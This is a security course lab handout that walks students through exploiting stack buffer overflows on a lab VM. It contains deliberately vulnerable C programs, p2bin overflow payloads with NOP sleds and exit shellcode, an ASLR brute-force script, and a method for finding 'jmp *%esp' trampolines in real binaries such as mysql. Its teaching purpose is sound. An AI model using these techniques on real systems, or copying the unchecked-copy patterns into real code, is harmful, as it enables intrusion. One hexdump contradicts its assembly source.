Exploitation Lab I

Preparation

Take your **Hacking-Lab VM image** and add the code and script files relevant for this lab. You can find them in the *exploitation.tar.gz* file which is distributed with these instructions. Copy it to the */home/hacker/* directory and unzip it with:

```
tar -xvzf exploitation.tar.gz -C /
```

This should add the directory */home/hacker/exploitation/* where you can find the code-files and other files referenced in the exploitation labs part I to part III (see the p1 to p3 subdirectories). And it adds a helper-tool called *p2bin* to */usr/local/bin*. You can use it to write 'binary' data to the standard output. For example, to compose command line arguments consisting of printable and non-printable characters. To prepare the VM for this lab, execute the setup script in */home/hacker/exploitation*:

```
cd /home/hacker/exploitation

sudo bash exploitation-lab-prep.sh
```

Important: Enter your answers in the **Exploitation Lab I** assignment reachable via the course page. For auto-grading to work, you must use the Hacking Lab VM image and prepare it as described. Otherwise, some of the addresses to be determined in that lab might not match the ones in the solution. If you find that your solution works but the solution entered is not counted as correct, please contact your tutor!

1 Rationale

Treating exploitation in a security lab and assuming the role of an attacker is not without controversy. On the one hand, there are many security experts who think it is not necessary to learn how to hack into systems to be good at defending them. On the other hand, there is now an increasing number of government officials and security experts claiming that we need offensive skills to create the substance and the psychology of deterrence[1]. After all, even when considering only the breaches known to the public, defending our assets is a challenge. Often, defending a high-value target against highly skilled attackers means fighting one's last stand.

Irrespective of these opposing viewpoints, it is a fact there is a significant demand for penetration testers whose job involves **authorized** auditing and exploitation of systems to assess actual system security in order to protect against attackers. This requires a thorough knowledge of vulnerabilities and how to exploit them. While this is the main rationale for this lab, there are other legitimate uses of such skills. Thinking like an attacker can be a valuable skill in security research and in getting the design and development of technology to defend our assets right.

2 Introduction

Exploitation is a topic with many sub-topics and specializations.[2] It is impossible to cover them all in a single module or lab. In this and the next two labs, you will focus on exploiting stack-based buffer-overflow vulnerabilities in x86 binaries running on Linux. You do this because:

- The x86 platform is still among the most prominent platforms.

[1] See e.g., http://www.atlanticcouncil.org/publications/issue-briefs/cybersecurity-and-tailored-deterrence or http://blogs.wsj.com/cio/2015/04/28/cyber-deterrence-is-a-strategic-imperative/

[2] Sub-topics include finding and exploiting vulnerabilities in web applications, services, protocols, operating systems, embedded devices and writing shellcode, rootkits and much more.

- Stack-based buffer overflow vulnerabilities are fairly easy to exploit. This provides room for looking at some more advanced exploitation and defence techniques rather than trying to work out the details of a specific vulnerability and how to trigger it.

Note that parts of this and the following two labs will be in the form of walkthroughs. To complete them, you must **execute** the steps. Reading the printouts shown in the walkthrough is **not enough**. Note that **addresses of functions or placement of data might be different on your system**. Make sure that you understand what you are doing rather than just re-typing the commands.

2.1 Learning Targets

Offensive:

- You can develop proof of concept exploits for stack-based buffer overflow vulnerabilities.
- You have a basic understanding of ROP and other methods for bypassing protections like ASLR, DEP or stack canaries.

Defensive:

- You understand the key benefits and limits of ASLR, DEP and stack canaries used to harden a system against code injection and control-flow hijacking attacks.
- You understand how difficult it is to exploit systems hardened with ASLR, DEP and stack canaries and you consider the presence/absence of these techniques when assessing or developing/configuring information system.

Generic:

- You know about some other vulnerabilities, defences and problems (e.g., heap-overflows, taint-analysis) and you know resources where you can learn more about them.

2.2 Buffer Overflows

Many security vulnerabilities exist because of the way the x86 architecture works and the way programming languages make use of it. In low-level languages like C, programmers must do manual memory management: A programmer must manually allocate and deallocate space to load, store, and work with data items. Furthermore, the programmer must make sure that no data is accidentally written to unallocated memory regions or to memory locations where it does not belong. Getting this always right is difficult – humans make mistakes. Buffer overflow vulnerabilities are one (in)famous result of such mistakes. They are based on wrong or missing bounds checking for writes to buffers.

If a programmer fails to handle memory access and management consistently and properly, attackers might be able to gain control over a program and the host on which it runs.

A real-world example for a heap-based and a stack-based buffer overflow vulnerability in a Linux kernel module that can be exploited over the network can be found here:

- **Stack (“simple”): CVE-2022-0435**
  https://www.appgate.com/blog/a-remote-stack-overflow-in-the-linux-kernel
- **Heap (“difficult”): CVE-2021-43267**
  https://haxx.in/posts/pwning-tipc/

These two writeups are quite easy to read and understand - well, at least the first one. Read them after you did all the exploitation labs and see that what you learned is not that far away from reality – just a simplified version of it.

3 Getting ready…

To complete this lab, you should be able to:

- analyse program code written in the C programming language
- read and understand assembly code
- use GDB, the GNU Project debugger.

If you need a refresher on assembly code, the stack layout, register names/usage and GDB, please read the **"Assembly and GDB Refresher"** distributed with this lab.

When solving this lab, keep in mind that the x86 architecture makes use of **little-endian byte order**. This means that the LSB (least significant byte) of an address/integer is at the lowest address. Thus, data types requiring more than one byte of memory are stored in reverse byte order. The integer number `0x12345678` (hexadecimal) when viewed in a raw memory dump will appear as `78 56 34 12`. Please consider this when inspecting memory and manipulating its content at the byte level.

4 Exploiting a Buffer Overflow

A buffer overflow happens when more data is written to a buffer than there is space in the buffer. There are many reasons why this can happen:

- Missing or erroneous bounds checking when writing to a buffer. Examples of functions with no bounds-checking in C are:

`strcpy(char *dest, const char *src)`	May overflow the `dest` buffer
`gets(char *s)`	May overflow the `s` buffer
`[vf]scanf(const char *format, ...)`	May overflow its arguments.
`realpath(char *path, char resolved_path[])`	May overflow the `path` buffer

- Missing or erroneous input validation of input, such as combinations of data and length information. When the length information is not checked, the target buffer might overflow.
- An integer overflow during a buffer length calculation can result in allocating a buffer that is too small to hold the data to be copied into it. The overflow occurs when the data is copied.

Functions such as `strcpy` will start writing to `dest[0]` and then increase the index. This means that if `dest` is on the stack and data is written outside of the buffer, an attacker can overwrite data that is located at addresses above the buffer (i.e., at higher addresses). As you know, the saved EIP is stored above the local variables. By overwriting the EIP, the function does not return to the original caller, but to a location chosen by the attacker. Without additional protections or counter measures, this may allow an attacker to execute his own code.

4.1 Call a specific function in the code

```
#include "stdio.h"
#include "string.h"

void target() {
  printf("target\n");
}

void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}

int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");
  return 0;
}
```

Code Sample 1 – simple-overflow.c

Your first task is to make the program *simple-overflow.c* call the function `target` by providing a suitable command line argument. Compile the file named *simple-overflow.c* as follows:

```
gcc -m32 -no-pie -fno-stack-protector -g -o simple-overflow simple-overflow.c
```

and open it in GDB:

```
gdb simple-overflow
```

Next, determine the address of the `target` function, the addresses of the instructions where strcpy is called, and the address of the instruction executed just after `strcpy` returned from the call. The later addresses are used to set breakpoints, so that you can have a look at the stack frame before and after the call to `strcpy`. To find these addresses use the `disass` command:

```
disass <function name>
```

Question: Note down the following addresses:

Address of the `target` function: 0x_____

Address of the instruction where `strcpy` is called: 0x_____

Address of the instruction executed after `strcpy` returns: 0x_____

Set two breakpoints using the last two addresses to break just before and after the call to `strcpy`:

```
break *0x<ADDRESS1>
break *0x<ADDRESS2>
```

Now, run the program with different arguments and inspect the stack. To run the program and provide an argument, you can use something like:

```
run `p2bin 'b"A"*10 + b"B"*5 + pack("<L", 0x11223344)'`
```

This would supply the Argument AAAAAAAAAABBBBB and the little-endian byte sequence for the unsigned `long` value 0x11223344. Note that the type `long` is 4-bytes in python). To inspect the stack, you can for example use:

```
context stack 20
```

This will show 20 words (20x4 bytes for 32-bit binary) from the top of the stack.

Important notes:

- If you search for the last four bytes from above in memory, you must look for the sequence 0x44 0x33 0x22 0x11 because of the little-endian byte order.
- String arguments cannot contain a `NUL` byte (`0x00`), because it is the string terminator in C. This limits your ability to jump to addresses with `0x00`, such as `0xff00ffff`. Furthermore, if the exploit data is provided as command line argument, the data should **not contain SPACES (e.g., \x20, \x09)** since this would split one argument into two. Finally, if you don't use the VM image, make sure your shell can handle characters (bytes) above ASCII 128.

Question: With this, you should now be able to develop the exploit. Complete the command below so that the target function is called. It is OK if you get a segmentation fault after the target function has been called and `target` has been printed to `stdout` (the standard output).

```
./simple-overflow `p2bin 'b"A"*_____ + pack("<L", _____)'`
```

The segmentation fault after the execution of `target()` is a bit ugly since this makes an attack easy to spot or at least it raises suspicion. The reason why this happens is that when `target()` returns with `ret`, it tries to pop a return address from the stack. Unfortunately, there is no valid return address on the stack since we did not call this function with a `call` instruction, which would have put a return

address on the stack, but by misusing the `ret` of `vulnerable()`. Hence, to solve this problem, you should put the original return address on the stack.

Unfortunately, a second issue makes fixing the erroneous behaviour more difficult. When overwriting the saved EIP (return address), the saved EBP is overwritten too. This is a problem because when returning from a function, the stack frame of the previous function (here: `main()`) is restored by setting ESP to the current value of EBP and afterwards popping the saved EBP value from the stack to the EBP register and finally popping the return address. In our case, this will then lead to the execution of `target`. Since `target` is a function, it saves the EBP register and restores it when returning, so that after `target`, we have the same situation as before. Consequently, the stack must look as follows for the program to continue to work as it should, and to terminate normally. Note that when we show (parts of) the stack, high memory addresses are always at the bottom and low addresses at the top:

```
Before Overflow:                        After Overflow:
0x…C   …                                …
0x…0   Saved EBP of main                Saved EBP of main
0x…4   Return address (addr in main)    Address of function 'target'
0x…8   Parameter 1 for <vulnerable>     Return address (in main)
0x…C   …                                …
```

To compile a suitable input string, you must know (1) the value of the saved EBP of `main()` since you want to overwrite the location where it is stored and (2) the original return address that you overwrite.

4.2 Call a specific function in the code without crashing the program

Step 1: Start a new instance of GDB and determine the values required to compile an input string that causes the program to call the target function and complete *without* a segmentation fault.

- For this to work, the original EBP must be restored and the original return address must be used when returning from `target`. Hence, when overflowing the original EBP, you must overflow it with its original value. Furthermore, you must place the original return address on the stack so that it is used as the return address when returning from `target`.

Question: Note down the following values extracted from your analysis of the program **in GDB**. Make sure to first determine the correct length of the argument required to solve the task. The reason is that the input argument is placed on the stack (as value). If you change its length, that will impact the position of things on the stack, including the base address of the stack frame of a function (stored in EBP).

Value of saved EBP: _____

Original return address: _____

Question: Note down the command to run the program **in GDB** without segmentation fault:

```
run `p2bin 'b"A"*24 + pack("<LLL", __________, __________, __________)'`
```

Now, try to start the program *simple-overflow* from the command line instead of from GDB.

Unfortunately, this does not work. To investigate why this is the case, you would have to check how the addresses used in your exploit change when the program is started from the command line. This could be done by attaching a debugger to the program after it has been started. However, because there are some pitfalls when trying to do this of this, we print the results of two sample runs below. For the interested reader, Appendix A provides some insights into the pitfalls and how to address them.

	Run 1	Run 2
Address of `buffer`:	`0xffee9670`	`0xffc12e60`
Address of saved EIP:	`0xffee9688`	`0xffc12e78`
Value of saved EBP:	`0xffee96b8`	`0xffc12ea8`
Address of `target`:	`0x08049196`	`0x08049196`
Distance between the buffer and the saved EIP:		
Distance:	28 Bytes	28 Bytes

Question: Compare the above information from both runs. Focus on what changes and what remains constant. Can you fix the string so that your exploit works without segmentation fault?

- ☐ Yes, this can be done because the distance and the address of `target` and `main` remain the same. If the distance does not change, it is unlikely that we get a segmentation fault, even if the EBP value should be incorrect.
- ☐ No, this cannot be fixed (easily) because the address of the buffer seems to differ from run to run. It might therefore happen, that the overflow won't overwrite the saved EIP (return address) at all but simply crash the program without executing the `target` function.
- ☐ No, this cannot be fixed (easily) because the value of the saved EBP seems to change from run to run. Hence, we cannot provide the correct value for the EBP and the program crashes when trying to return to `vulnerable` after executing the `target` function.
- ☐ No, this cannot be fixed (easily) because the value of the saved EBP seems to change from run to run. Hence, we cannot provide the correct value for the EBP of the stack frame of `main` and the program crashes when trying to return to `main` after executing the `target` function.

5 Writing and Running Your Own Shellcode

In the first step, you managed to call a function you knew was already present in the code. In practice, it is unlikely that the code an attacker wants to execute on the victim's system is already present in the form of a single function and just needs to be called. Hence, an attacker must find a way to make the victim's system do what she wants it to do.

One way to make a system do what the attacker wants it to do is to develop, inject, and execute a piece of code. For Java applications, this could be Java Bytecode in the form of serialized Java objects[3]. In Node.js applications, you might be able to inject custom JavaScript code[4]. For applications written in C, it is machine code. In computer security, the injected piece of code is called "shellcode" because it typically starts a command interpreter (typically called a "shell") from which the attacker can control the victim's machine. Of course, the function of a payload is not limited to merely spawning a shell, so the name is not very accurate. But attempts at replacing the term have not gained wide acceptance.

Probably the simplest way of executing a piece of shellcode is to exploit a stack-based buffer overflow vulnerability with input structured as follows:

```
<shellcode><address of the shellcode><shellcode cont.>
```

[3] In their talk *"Marshalling Pickles - how deserializing objects will ruin your day"* at AppSecCali2015, Gabriel Lawrence and Chris Frohoff presented various security problems when applications accept serialized objects from untrusted source. A major finding describes a way to execute arbitrary Java functions and even inject manipulated bytecode when using Java Object Serialization (as used in some remote communication and persistence protocols). http://frohoff.github.io/appseccali-marshalling-pickles/

[4] See for example https://blog.gdssecurity.com/labs/2015/4/15/nodejs-server-side-javascript-injection-detection-exploitati.html for an interesting blog entry on detecting and verifying such vulnerabilities.

The address of the shellcode part of the input should overwrite the saved EIP or a function pointer on the stack in such a way that it points to the start of the shellcode. This causes the control flow to jump to it when the function returns.

5.1 Writing shellcode

Writing machine code is not a straightforward task for most people. That is probably why there are plenty of pre-written and easily obtainable shellcodes out there. Hence, an attacker will likely select a pre-existing piece of shellcode that meets at least some of his requirements (length, provided functionality, and so on), and will – if necessary – adjust it to his use case.

For the following task, you will make use of the shellcode shown in Code Sample 2. The code just calls the `exit` system call (syscall) provided by the Linux kernel. `int 0x80` is a so-called *software interrupt*; an interrupt generated not by a peripheral device, but by a running process.

```
BITS 32
mov eax, 1
mov ebx, 5
int 0x80
```

Code Sample 2 – shellcode-exit.asm

Most UNIX systems and derivatives do not use software interrupts, except for interrupt 0x80, to call a kernel function. A full list of the available system calls can be found here: http://man7.org/linux/man-pages/man2/syscalls.2.html

To generate the machine code from the above assembly code, use NASM, the Netwide Assembler:

```
nasm -f bin -o shellcode-exit.bin shellcode-exit.asm
```

Have a look at shellcode-exit.bin using the tool hexdump:

```
hexdump -C shellcode-exit.bin
```

```
00000000 b8 01 00 00 00 bb 00 00 00 00 cd 80 |............|
0000000c
```

Try now to run the file *shellcode-exit.bin* file and look at the return value as follows:

```
chmod 755 shellcode-exit.bin
```

```
./shellcode-exit.bin
```

Question: What happens?

- ☐ An executable format error is reported.
- ☐ A “no entry point found” error is reported.
- ☐ The program crashes with a segmentation fault.

Try a different approach. Execute the following commands:

```
nasm -f elf -o shellcode-exit.o shellcode-exit.asm
```

```
ld -melf_i386 -o shellcode-exit shellcode-exit.o
```

```
./shellcode-exit; echo $?
```

This time, it works. The code is executed and the exit code 5 is output.

Question: What is the output and why does it work now?

- ☐ The machine code now matches the computer’s architecture and does not contain instructions that do not exist on that architecture anymore. Furthermore, the libraries required to run the code have been linked to it.

- The 32-bit assembly code is now correctly compiled as 32-bit machine code despite the machine defaulting to compile 64-bit machine code. Furthermore, the libraries required to run the code have been linked to it.
- The machine code is now wrapped in an executable file format with additional information such as entry-point, section, and symbol information. Furthermore, libraries required to run the code have been linked to it.

An easy way to test an arbitrary piece of shellcode is to use the *scode-tester.c* helper program (see below). It loads a piece of shellcode from a file and executes it. Compile the program as follows:

```
gcc -m32 -no-pie -z execstack -g -o scode-tester scode-tester.c
```

Test the shellcode created earlier as follows:

```
./scode-tester shellcode-exit.bin
```

It should run without error and the return value should be 5. You can check this with:

```
echo $?
```

```
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv) {
  if(argc == 2) {
    char buf[128];
    FILE* pf = fopen(argv[1], "r");
    fread(buf, 1, 256, pf);

    void (*code)(void);

    code = (void (*)(void))&buf;
    code();
  }
  else {
    printf("Need more arguments!\n");
  }
}
```

Code Sample 3 – scode-tester.c

Run and analyse the program in GDB, if you want to get a more detailed understanding of what happens when you execute that program.

5.2 Using a Buffer Overflow to Execute Shellcode

Until now, you looked at two pieces of the puzzle – how to exploit a buffer overflow to transfer control to a user-defined location, and how to write and test shellcode. Now you will combine these pieces to use a buffer overflow vulnerability to execute shellcode. The vulnerable program for this task is the program *vulnerable.c*. The program reads a set of "records" from an input file and prints their content to the screen. The vulnerability in `print_next_record()` is inspired by an vulnerability that was found in libpng.

Take a closer look at the code in *vulnerable.c* (see page 2). To exploit the vulnerability, you need to create a data file that triggers the vulnerability. To construct such a file, you can use p2bin as follows:

```
p2bin 'b"\x02\x00\x00\x00\x1C\x00\x00\x00" + b"\x90"*16 +
b"\xb8\x01\x00\x00\x00\xbb\x05\x00\x00\x00\xcd\x80"' > records.bin
```

This sample contains a single record meeting the expected file format. The record's content consists of 16 bytes with value 0x90 followed by the shellcode that causes a program to exit when executed.

```c
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define MAX_LENGTH 128

FILE* fp;

struct record {
  int version;
  int length;
  char data[MAX_LENGTH];
};

void print_hex_memory(void *mem, int size) {
  int i;
  unsigned char *p = (unsigned char *)mem;
  for (i=0;i<size;i++) {
    if (i%16==0)
      printf("\n");
    printf("0x%02x ", p[i]);
  }
  printf("\n");
}
int print_next_record() {
  struct record my_record;
  int OK = 0;
  int chars = fread(&my_record.version, 1, sizeof(int), fp);
  chars += fread(&my_record.length, 1, sizeof(int), fp);
  if((ferror(fp)) ) {
    printf("Error.\n");
    return 1;
  } else if( feof(fp) ) {
    if(chars == 0) {
      printf("EOF.\n");
    } else {
      printf("Incomplete records.\n");
    }
    return 1;
  }
  if (my_record.version < 2) {
    /* Should be an error, but we can cope with it */
    printf("Warning: Deprecated record version - parsing anyway.\n");
  } else if (my_record.length > MAX_LENGTH || my_record.length <= 0) {
    printf("Incorrect record length.\n");
    return 1;
  }
  chars = fread(my_record.data, 1, my_record.length, fp);
  if((ferror(fp)) || feof(fp) ) {
    printf("Incomplete record.\n");
    return 1;
  }
  print_hex_memory(my_record.data, my_record.length);
  return OK;
}
int main(int argc, char** argv) {
  if(argc == 2) {
    fp = fopen(argv[1], "r");
    if (!fp) {
      printf("Unable to open file!\n");
      return 1;
    }
    while( print_next_record() == 0);
    return 0;
  }
  printf("Need more arguments!\n");
  return 1;
}
```

Code Sample 4 – vulnerable.c

Question: Fill the missing information in the following text. Enter numbers in the decimal system.

The version number in the above record is _____ and the length field says the length is _____ bytes. The length information is correct: _____ (yes/no).

Look at the code and determine what requirements the input data must meet in order to trigger the vulnerability. Compile the file *vulnerable.c* with the following command:

```
gcc -m32 -fno-stack-protector -no-pie -g -z execstack -o vulnerable vulnerable.c
```

Let's now exploit the vulnerability. Start GDB with:

```
gdb vulnerable
```

Disassemble the vulnerable function and set breakpoints just before the buffer overflow happens and just after it happened. Run the program with the sample *records.bin* file created before.

Question: Determine the number of bytes that need to be written to the buffer to overflow the saved EIP. To do this, you should determine the address of the buffer `my_record.data` and the address of the saved EIP. With these addresses, you can then calculate how many bytes are required to overwrite the saved EIP to redirect control flow to your shellcode.

Number of bytes: _____

Question: Modify the command to write the *records.bin* file so that the overflow is triggered, the saved EIP is overflown with the address of the shellcode and the shellcode is executed. Note it down.

- Do not forget to tune the length information of the record.
- Do not forget that the shellcode itself is 12 bytes long and is part of the record.
- **WARNING**: Make sure that the shellcode is not modified by what happens between the overflow and the end of the function (!). Check this by breaking at the `ret` instruction (before the function returns) and inspecting the stack (`context stack <#>`) where the function returns. If it is modified, remember that you can place the shellcode anywhere in the data part of the record, but you must make sure to overwrite the EIP with its correct location.

```
p2bin 'b"\x01\x00\x00\x00\x98\x00\x00\x00" + b"\x90"*8 +
b"\xb8\x01\x00\x00\x00\xbb\x05\x00\x00\x00\xcd\x80" + b"\x90"*128 + pack("<L",0xffffd408)' > records.bin
```

5.3 Limitations of Shellcode

You might have wondered why the pointer to the file is a global variable. It has to do with the generic problem that when you overflow a buffer, you are about to change data on the stack. If there is code that makes use of this data which is executed before you can redirect the control flow to your shellcode, the program might crash. In our case, control flow is redirected only when the `print_next_record` function returns. Before this happens, the file pointer is used to check the error state of the file. Depending on the compiler and the stack layout (where the file pointer is put onto the stack), we might overwrite the file pointer and cause a segmentation fault. Hence, whether a

buffer overflow vulnerability is exploitable heavily depends on the code and the system for which it has been compiled.

If you try now to run your exploit from the command line and not from within GDB, the exploit won't work. The main reason is that your exploit contains the location of your shellcode on the stack, but the position of the stack is randomized. This protection measure is called Address Space Layout Randomization (ASLR) and is a finding of your analysis made in Section 4.2: the position of the stack (and some other segments) is randomized, but the code segment is not. The code segment would also be randomized if we remove the `-no-pie` compiler option. Part III of the exploitation lab series will make clear why this is a good idea.

5.4 Improving the Exploit – NOP Sleds

We now try to improve our exploit to "fix" the ASLR problem. First, compile and run the *stack-location.c* code as follows:

```
gcc -m32 -o stack-location stack-location.c

./stack-location
```

Running the stack-location program multiple times reveals that the address of the stack always starts with the same most significant byte (MSB) and that the bottom three bytes of the stack address look random. In our system, the MSB has the value `0xff`.

Hence, if the starting address of the stack is chosen randomly among those lower three bytes, any shellcode that depends on being loaded at a fixed address has a success probability of 1 in 256^3 or about 1 in 16,8 million. This is not very convenient. To increase the chances that the exploit succeeds, we must therefore decrease its dependency on the exploit's load address.

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv) {
    char buf[8];
    printf("%x\n",&buf);
}
```

Code Sample 5 – stack-location.c

When we look at the exploit as it is now, we find that this dependency happens because we stipulate that the first exploit instruction that we execute already does something useful for the exploit (loading a syscall value into a register). But this is not strictly necessary: we can prefix this register load instruction with as many "no-operation" instructions as we wish, and the exploit would still work. There are many ways of telling a CPU to do nothing, for example by using a bitwise OR or bitwise AND instruction on a register with itself, or adding zero to a register, but in fact the x86 instruction set contains a specific no-operation instruction called `NOP`. In the x86 architecture, the `NOP` instruction has the value `0x90`. Prefixing the actual shellcode with many `NOP` instructions is called a *NOP sled*. When an attacker puts the shellcode at the end of a NOP sled, it is executed whenever the address to jump to the shellcode is pointing to anywhere in the NOP sled.

For the *vulnerable* application from before, an input with a NOP sled looks as follows:

```
p2bin 'b"\x01\x00\x00\x00\xFE\x05\x00\x00" + b"\x90"*148 +
b"\x00\xff\xd8\xff" + b"\x90"*1370 +
b"\xb8\x01\x00\x00\x00\xbb\x05\x00\x00\x00\xcd\x80"' > records.bin
```

This fills the stack with 1370 NOPs. Hence, whenever our guessed address (`0xffd8ff00`) for the position of the buffer is anywhere inside the NOP sled, first the NOP sled is executed (doing nothing). After the NOP sled, however, the shellcode is executed, completing the exploit. Using a NOP sled, we no longer need to jump precisely to the start of the shellcode. Instead, jumping to any of the 1370 NOPs inside the NOP sled suffices for the exploit to succeed. This increases the chance of success by

a factor of 1370 (1370 NOPs plus the start of the shellcode). Instead of 16.8/2 million tries on average, an attacker should need only around (16.8 million / 1370) / 2 ~ 6150 trials on average.

To try this out, write a *records.bin* with the command from above. To test it, run it in GDB with an address pointing somewhere in the NOP sled. Then, change the address back to the one from above. When you solved the previous task, you should be able to determine the blacked-out parts of the command. To do the brute-force attack, study and use the script *bruteforce-aslr.py*.

```
import subprocess
for num in range(0,20000):
  proc = subprocess.Popen('./vulnerable records.bin >/dev/null', shell=True,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE)
  stdout_value, stderr_value = proc.communicate()
  if str(stderr_value).find("Segmentation") == -1 and proc.returncode == 5:
    print("Success!\n")
    break
  if num%100 == 0:
    print(num)
```

Code Sample 6 – bruteforce-aslr.py

Start the attack as follows:

```
python bruteforce-aslr.py
```

The script starts the binary with the *records.bin* as input at most 20'000 times and checks whether it does not result in a segmentation fault and exits with the return code set by the shellcode: 5. If this is the case, the exploit is considered successful and the script terminates.

5.5 Limitations of NOPs

While NOPs can be very helpful to simplify exploitation when the position of injected code is not known or only known to reside within a certain memory area, a NOP sled is quite easy to detect in input data. That is why network-based intrusion detection systems (IDS) like Snort or Surricata have signatures for sequences of NOP instructions. To evade detection, an attacker could try to use other instructions that have no effect (such as `add eax, 0` for example) and mix these instructions with other instructions that also have no effect. If the attacker is lucky, the application might use some form of encoding when sending the data over the network or the application might use encryption and the IDS does not inspect encrypted channels.

And what about limitations on the size of NOP sleds? In a stack-based buffer overflow, it is usually in the range of several hundreds of bytes to eight MiB (typical soft limit of the maximum stack size). Even if overflowing the buffer also overflows the entire stack[5], this does not necessarily trigger a segmentation fault yet, for example if the beginning of the stack is not aligned with the beginning of a memory page. In our lab setup, we could write several hundreds of bytes to the stack. Only when the overflow writes bytes past the boundary of the memory page where the start of the stack resides, a segmentation fault is triggered.

5.6 Using Trampolines to Bypass ASLR

Another way to cope with the randomized positioning of the stack is to use a so-called *trampoline*. A trampoline is a memory location containing instructions that redirect control flow to somewhere else. If control flow jumps into a trampoline, for example by overwriting the return address with the address of a trampoline, control flow bounces (to the target of the trampoline), hence the term trampoline. To defeat the randomization of the location of the stack, the following trampoline would help:

```
jmp *%esp
```

[5] Remember that overflowing a buffer on the stack means writing toward the start of the stack.

If we know the address of such a trampoline in the code segment (which is not randomized), we can jump to where the ESP register currently points. Hence, jumping to code on the stack is possible without knowing the location of the stack. Note that after returning from a function, ESP points to a location 8 bytes below the EBP of the function from which we return.

If you want to try out this approach (optional!), insert the following lines of code into *vulnerable.c*, find the address of the trampoline, and use it to overwrite the return address.

```
void jmpesp()
{
        __asm__("jmp *%esp");
}
```

These lines of code make sure that the instruction `jmp *%esp` is present in the binary. Moreover, do not forget to modify the input so that the shellcode resides just after the return address. ESP will point there after the `ret`. With this modification, you can now circumvent the randomization of the stack and run your exploit also from the command line (outside of GDB)!

Note that in larger programs you will generally find instructions like `jmp *%esp` to bypass randomization of the address space. For 32-bit binaries, this can be done with the following command:

```
objdump -D /usr/bin/mysql | grep jmp | grep '\*%esp'   //for i386 (32-bit)
```

Since the Hacking-Lab VM is a 64-bit system, most binaries are 64-bit binaries. On these systems, you must execute the following command. RSP is the ESP equivalent on x86_64 systems:

```
objdump -D /usr/bin/mysql | grep jmp | grep '\*%rsp'   //for x86_64 (64-bit)
```

It should give you several hits in the *mysql* binary.

5.7 Limitations of Trampolines

If the code segment - and therefore the trampoline's address - is randomized, trampolines won't work. However, depending on the operating system (Windows, Linux, …) and architecture, chances are that an application has not been compiled as a so-called position-independent executable (PIE), and therefore no randomization of its code segment is performed. But since most operating systems and distributions make PIEs the default; at least for the binaries shipped with the operating system, it gets more and more difficult to exploit this. For third party applications, most operating system suppliers recommend but do not enforce PIEs. A notable exception is Android which starting with Android 5.0 accepts only PIEs as native libraries or applications (not the Java based apps). Please consult your operating system's documentation to check its status with respect to PIE support and enforcement[6].

5.8 More Complex Attacks

Buffer overflows on the stack and overwriting the return address are by far not the only way to inject and execute a custom piece of shellcode. For example, an attacker might submit shellcode in a user-supplied string that is placed on the heap and later is able to overwrite a return address with the address of this string by making use of the structure of the heap. This is usually a linked list where one item on the heap points to the next item. Hence, if we can overflow data in one item, we might be able to overflow the pointer to the next item. If we can then supply data for a next item, we can make the program write this data to the previously manipulated address of this next item.

Exploiting this kind of vulnerability is far more difficult and finding a way to prepare the memory of the attacked process so that the program finally does what the attacker wants it to do is very time consuming. Furthermore, in practice, there are often many limitations such as the number of bytes that can

[6] Check out https://en.wikipedia.org/wiki/Position-independent_code for pointers to resources.

be injected/overflowed,[7] or that only certain byte values are accepted as input bytes (e.g., only alpha-numeric ASCII characters, or no NUL bytes). There are workarounds for most of these limitations but applying them to a specific vulnerability can be very challenging.

For example, an article published by Rix in Phrack 57[8] shows that it is possible to turn any code into alphanumeric ASCII, thereby solving the alphanumeric-only input problem. The basic idea there is to create self-modifying code, where the code modifies its own constituent bytes to include bytes outside of the normally allowed range, thereby expanding the range of instructions it can use. Using this trick, one can write a self-modifying decoder that initially uses only bytes in the allowed range. The exploit then consists of an encoded decoder and an encoded shellcode. The decoder then first decodes itself, and then runs the decoded decoder on the encoded shellcode. This results in decoded shellcode and the decoder then transfers control to that shellcode. Using a very similar technique, we can go further and create arbitrarily complex shellcode that looks like normal text in English[9].

5.9 Questions – ASLR, Trampolines, NOPs, et al.

A 32-bit binary that is not compiled as PIE binary has a stack-based buffer overflow vulnerability. The stack is executable, and no stack canaries are used. The system on which the binary is run does ASLR.

Question: The randomized addresses have 24 bits of entropy. The vulnerability allows for a total of 1940 bytes (1224 bytes before and 712 bytes after the return address). The shellcode is 200 bytes. If the program crashes, it is restarted. Because of this, you can attack only every five seconds. Can you succeed with a brute-force approach in less than 24 hours on average?

- ☐ Yes
- ☐ No

A 32-bit binary that is not compiled as PIE binary has a stack-based buffer overflow vulnerability. The stack is executable, and no stack canaries are used. The system on which the binary is run does ASLR.

Question: Which of the following strategies to defeat ASLR could work? Note that for them to "work", they must have a reasonable chance of success.

- ☐ Checking the code of the dynamically linked libraries used by the binary for trampolines.
- ☐ Checking the code of the binary for instructions like "jmp *%esp".
- ☐ A brute-force approach with following exploit and shellcode address 0xffffffff:
  <FILLER BYTES><SHELLCODE-ADDRESS><NOP SLED><SHELLCODE>
- ☐ A brute-force approach with following exploit and randomly chosen shellcode addresses:
  <SHELLCODE><FILLER BYTES><SHELLCODE-ADDRESS>
- ☐ A brute-force approach with following exploit and shellcode address 0xffaaff00:
  <NOP SLED><SHELLCODE-ADDRESS><SHELLCODE>

6 Defending against Shellcode

Until now, you have played the role of an attacker and you have seen that it is not easy to exploit vulnerable software running on contemporary operating systems. In fact, there are many techniques that contribute to this difficulty:

- Address space layout randomization (ASLR)
- Dynamic taint analysis
- Data execution prevention (DEP) / Executable space protection
- Stack Canaries

[7] On example can be found in https://www.sans.edu/student-files/presentations/heap_overflows_notes.pdf, where it is described how a one-byte overflow (off-by-one error) of data on the heap is used to inject and run shellcode.

[8] *Rix (8 November 2001).* "Writing ia32 alphanumeric shellcodes". *Phrack. Retrieved 2015-01-10.*

[9] J. *Mason,S. Small, F. Monrose, G. MacManus (Nov. 2009).* "English Shellcode" *(PDF). Retrieved 2015.01.10.*

